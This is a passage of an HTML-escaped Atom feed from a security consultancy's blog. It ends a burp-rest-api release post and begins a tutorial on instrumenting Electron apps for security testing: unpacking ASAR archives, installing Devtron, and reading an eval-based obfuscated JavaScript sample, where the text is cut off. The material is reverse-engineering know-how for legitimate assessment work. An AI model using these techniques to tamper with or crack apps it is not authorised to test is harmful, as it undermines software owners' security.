class=&quot;n&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;burpsuite_pro&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;burp-extensions-and-bappstore&quot;&gt;Burp Extensions and BAppStore&lt;/h3&gt;

&lt;p&gt;Many users have asked for the ability to load additional extensions while running Burp with burp-rest-api. Thanks to a new bootstrap mechanism, burp-rest-api is loaded as a 2nd generation extension which makes it possible to load both custom and BAppStore extensions written in any of the supported programming languages.&lt;/p&gt;

&lt;p&gt;Moreover, the tool allows loading extensions during application startup using the flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--burp.ext=&amp;lt;filename.{jar,rb,py}&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In order to implement this, we  employed a classloading technique with a dummy entry point (&lt;em&gt;BurpExtender.java&lt;/em&gt;) that loads the legacy Burp extension (&lt;em&gt;LegacyBurpExtension.java&lt;/em&gt;) after the full Burp Suite has been loaded and launched (&lt;em&gt;BurpService.java&lt;/em&gt;).&lt;/p&gt;

&lt;h3 id=&quot;bug-fixes-and-improvements&quot;&gt;Bug Fixes and Improvements&lt;/h3&gt;

&lt;p&gt;In this release, we have also focused our efforts on a massive issues house-cleaning:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Better documentation and even a FAQs page&lt;/li&gt;
  &lt;li&gt;Burp Spider status API&lt;/li&gt;
  &lt;li&gt;Burp Configuration with configPath selection API&lt;/li&gt;
  &lt;li&gt;Enabled SpringBoot compression&lt;/li&gt;
  &lt;li&gt;Ability to customize the binding address:port for both Burp Proxy and burp-rest-api APIs via command line arguments&lt;/li&gt;
  &lt;li&gt;…and &lt;a href=&quot;https://github.com/vmware/burp-rest-api/issues?q=is%3Aissue+is%3Aclosed&quot;&gt;much more&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;help-us-shape-the-future-of-burp-rest-api&quot;&gt;Help Us Shape The Future of burp-rest-api&lt;/h3&gt;

&lt;p&gt;With the release of &lt;a href=&quot;https://portswigger.net/blog/burp-suite-2-0-beta-now-available&quot;&gt;Burp Suite Professional 2.0 (beta)&lt;/a&gt;, Burp includes a &lt;a href=&quot;https://portswigger.net/blog/burps-new-rest-api&quot;&gt;native Rest API&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;While the current functionalities are very limited, this is certainly going to change.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In the initial release, the REST API supports launching vulnerability scans and obtaining the results. Over time, additional functions will be added to the REST API.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It’s great that Burp users will finally benefit from a native Rest API, however this new feature makes us wonder about the future for this project.&lt;/p&gt;

&lt;p&gt;Let us know how burp-rest-api can still provide value, and which directions the project could take. Comment on this &lt;a href=&quot;https://github.com/vmware/burp-rest-api/issues/75&quot;&gt;Github Issue&lt;/a&gt; or tweet to our &lt;a href=&quot;https://twitter.com/doyensec&quot;&gt;@Doyensec&lt;/a&gt; account.&lt;/p&gt;

&lt;p&gt;Thank you for the support,&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ikkisoft&quot;&gt;Luca Carettoni&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://github.com/thypon&quot;&gt;Andrea Brancaleoni&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Instrumenting Electron Apps for Security Testing</title>
   <link href="https://blog.doyensec.com/2018/07/19/instrumenting-electron-app.html"/>
   <updated>2018-07-19T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2018/07/19/instrumenting-electron-app</id>
   <content type="html">&lt;h3 id=&quot;instrumenting-electron-based-applications&quot;&gt;Instrumenting Electron-based applications&lt;/h3&gt;

&lt;p&gt;With the increasing popularity of the Electron Framework, we have created this post to summarize a few techniques which can be used to instrument an Electron-based application, change its behavior, and perform in-depth security assessments.&lt;/p&gt;

&lt;h3 id=&quot;electron-and-processes&quot;&gt;Electron and processes&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://electronjs.org/&quot;&gt;Electron Framework&lt;/a&gt; is used to develop multi-platform desktop applications with nothing more than HTML, JavaScript and CSS. It has two core components: Node.js and the libchromiumcontent module from the Chromium project.&lt;/p&gt;

&lt;p&gt;In Electron, the &lt;strong&gt;main process&lt;/strong&gt; is the process that runs package.json’s main script. This component has access to Node.js primitives and is responsible for starting other processes. Chromium is used for displaying web pages, which are rendered in separate processes called &lt;strong&gt;renderer processes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike regular browsers where web pages run in a sandboxed environment and do not have access to native system resources, Electron renderers have access to Node.js primitives and allow lower level integration with the underlying operating system. Electron exposes full access to native Node.js APIs, but it also facilitates the use of external Node.js NPM modules.&lt;/p&gt;

&lt;p&gt;As you might have guessed from recent public security vulnerabilities, the security implications are substantial since JavaScript code can access the filesystem, user shell, and many more primitives. The inherent security risks increase with the additional power granted to application code. For instance, displaying arbitrary content from untrusted sources inside a non-isolated renderer is a severe security risk. You can read more about Electron Security, hardening and vulnerabilities prevention in the official &lt;a href=&quot;https://electronjs.org/docs/tutorial/security#checklist-security-recommendations&quot;&gt;Security Recommendations&lt;/a&gt; document.&lt;/p&gt;

&lt;h3 id=&quot;unpacking-the-asar-archive&quot;&gt;Unpacking the ASAR archive&lt;/h3&gt;

&lt;p&gt;The first thing to do to inspect the source code of an Electron-based application is to unpack the application bundle (&lt;em&gt;.asar&lt;/em&gt; file). ASAR archives are a simple tar-like format that concatenates files into a single one.&lt;/p&gt;

&lt;p&gt;First locate the main ASAR archive of our app, usually named &lt;em&gt;core.asar&lt;/em&gt; or &lt;em&gt;app.asar&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Once we have this file we can proceed with installing the asar utility:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install -g asar&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and extract the whole archive:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;asar extract core.asar destinationfolder&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At its simplest version, an Electron application includes three files: &lt;em&gt;index.js&lt;/em&gt;, &lt;em&gt;index.html&lt;/em&gt; and &lt;em&gt;package.json&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Our first target to inspect is the &lt;em&gt;package.json&lt;/em&gt; file, as it holds the path of the file responsible for the “entry point” of our application:&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Example App&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Core App&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;app/index.js&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;private&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In our example the entry point is the file called &lt;em&gt;index.js&lt;/em&gt; located within the &lt;em&gt;app&lt;/em&gt; folder, which will be executed as the main process. If not specified, &lt;em&gt;index.js&lt;/em&gt; is the default main file. The file &lt;em&gt;index.html&lt;/em&gt; and other web resources are used in renderer processes to display actual content to the user. A new renderer process is created for every &lt;em&gt;browserWindow&lt;/em&gt; instantiated in the main process.&lt;/p&gt;

&lt;p&gt;In order to be able to follow functions and methods in our favorite IDE, it is recommended to resolve the dependencies of our app:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We should also install &lt;a href=&quot;https://electronjs.org/devtron&quot;&gt;Devtron&lt;/a&gt;, a tool (built on top of the Chrome Developer Tools) to inspect, monitor and debug our Electron app. For Devtron to work, NodeIntegration must be on.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install --save-dev devtron&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then, run the following from the Console tab of the Developer Tools&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;require('devtron').install()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;dealing-with-obfuscated-javascript&quot;&gt;Dealing with obfuscated javascript&lt;/h3&gt;

&lt;p&gt;Whenever the application is neither minimized nor obfuscated, we can easily inspect the code.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;use strict&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;defineProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__esModule&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;startup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;startup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;handleSingleInstance&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;handleSingleInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setMainWindowVisible&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setMainWindowVisible&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_require&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;Menu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Menu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mainScreen&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;startup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bootstrapModules&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In case of obfuscation, there are no silver bullets to unfold heavily manipulated javascript code. In these situations, a combination of automatic tools and manual reverse engineering is required to get back to the original source.&lt;/p&gt;

&lt;p&gt;Take this horrendous piece of JS as an example:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;parseInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x43&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x61&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x43&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x64&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x74&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x67&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));};&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]){&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x72&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x70&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x61&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x65&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;RegExp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x62&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x62&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x67&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);}}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x20&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x35&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x3d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x22&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x6f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x38&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x70&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x5c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x37&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x22&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x2c&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x22&lt;/span&gt;&lt;span 